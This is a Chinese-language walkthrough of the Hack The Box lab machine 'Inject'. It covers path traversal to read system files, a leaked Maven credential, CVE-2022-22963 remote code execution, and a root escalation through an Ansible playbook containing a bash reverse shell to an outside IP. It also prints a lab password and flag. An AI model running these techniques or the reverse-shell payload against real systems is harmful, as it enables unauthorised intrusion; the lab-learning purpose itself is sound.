HTB 季度靶机 - Inject (Easy, not so easy)
朋友们看看知识点就好,ansible playbook 第一次见,天生带个 PE 后门哦~
0x00
端口
难道说。。。
文件上传点 - AFR+目录遍历
上传完成后会返回访问地址,居然是参数化的:
最短的目录穿越是 ../../../../../../etc/passwd,六层。
/etc/passwd
root:x:0:0:root:/root:/bin/bash
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
frank 和 phil 用户比较可疑。
经过尝试,网站的权限应该就是 www-data,无法访问两个用户家目录的文件。
信息收集
sshd 配置
phil 用户不允许 ssh 登录
/proc/self
cwd
exe - java 应用,那估计是 tomcat
root - 发现目录遍历
到这里我才发现有目录遍历。。。
应用本身就有目录遍历的功能?
没有直接读取的权限。
/home/frank/.m2/settings.xml - phil 的密码
Maven 配置文件 参考文档1
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
遍历 Java 应用开发目录
/var/www - 源码目录
build 出来的 jar 包比较大,先不下载,目录遍历去找代码(应该不会很多)。
User.java
UserController.java
看来是要利用上传点来覆盖配置文件,那么第一想法就是给 frank 写公钥,但是有一些校验绕不过去(比如那个斜杠检查)。
pom.xml - 查看 Maven 依赖及其版本 - 找 CVE
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
CVE-2022-22963 - spring cloud function rce
命令执行稍有困难
先上传脚本:
然后执行脚本:
登录 phil - user-flag
su
su 切换用户后,应该是终端分配的问题,终端的输出并没有显示出来。但是盲着执行命令,把 flag 写入文件是可以的。
998685ee5024787560ceeea8535e5618
同样的方式再执行一次 反弹 shell,弹到一个新端口:
提权: phil -> root
前面得到过 phil 的密码:DocPhillovestoInject123
export TERM=xterm
这个命令指示用来让反弹 shell 支持颜色显示(ANSI 转移序列),当然,也要注意本机终端是否支持(ansicon powershell)。
/usr/bin/script -qc /bin/bash /dev/null
export TERM=xterm
id 命令 - 注意用户所属组
phil 用户有一个额外的用户组:
查找属于 staff 用户组的文件,发现 /opt/automation/tasks,因为目录名存在“自动化”字眼:
find / -group staff 2>/dev/null
结果:
/opt/automation/tasks
/root
/var/local
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER
/usr/local/lib/python3.8/dist-packages/__pycache__
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc
/usr/local/share/fonts
/usr/local/share/fonts/.uuid
flag
该目录下存在一个 yaml 文件:
经搜索得知这是 ansible playbook,一种自动化任务,所以自行编写一个反弹 shell 的 playbook 并执行它:
---
- name: Update web servers
hosts: localhost
remote_user: root
tasks:
- name: aha
shell: bash -c 'exec bash -i &>/dev/tcp/10.10.14.16/8002 <&1'
ansible-playbook xxx.yml
phil 用户执行上述命令可以直接拿到 root 的 shell。
TODO为什么直接拿到 root 权限呢?
对该问题可以参考一些资料(我找了没看,麻烦看懂的人给我讲讲 xD):
https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html
如果你也想玩 HTB,那请加入我们吧,我们针对季度靶机有个小交流群。
1.文档
https://maven.apache.org/settings.html
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读